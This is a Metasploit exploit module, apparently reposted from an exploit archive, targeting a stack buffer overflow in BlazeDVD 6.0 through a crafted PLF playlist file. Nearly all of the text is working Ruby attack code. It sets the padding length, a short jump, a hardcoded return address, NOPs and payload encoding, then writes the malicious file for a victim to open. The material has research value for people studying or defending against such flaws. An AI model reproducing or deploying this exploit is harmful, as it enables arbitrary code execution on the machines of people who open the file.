BlazeDVD 6.0 – Local Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'BlazeDVD 6.0 PLF Buffer Overflow', 'Description' => %q{ This module exploits a stack over flow in BlazeDVD 6.0. When the application is used to open a specially crafted plf file, a buffer is overwritten allowing for the execution of arbitrary code. Set the EXITFUNC to seh or thread for best results. }, 'License' => MSF_LICENSE, 'Author' => [ 'Blake' ], 'Version' => '$Revision 1$', 'References' => [ [ 'EDB-ID' , '13998' ], [ 'BID', '35918' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1363, 'BadChars' => "\x00\x0a\x0d", 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'BlazeDVD 6.0 Universal', { 'Ret' => 0x6033077D } ], ], 'Privileged' => false, 'DisclosureDate' => 'June 23, 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']), ], self.class) end def exploit plf = rand_text_alphanumeric(608) plf << "\xeb\x06\x90\x90" plf << [target.ret].pack('V') plf << make_nops(20) plf << payload.encoded plf << rand_text_alphanumeric(1364 - payload.encoded.length) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(plf) end end |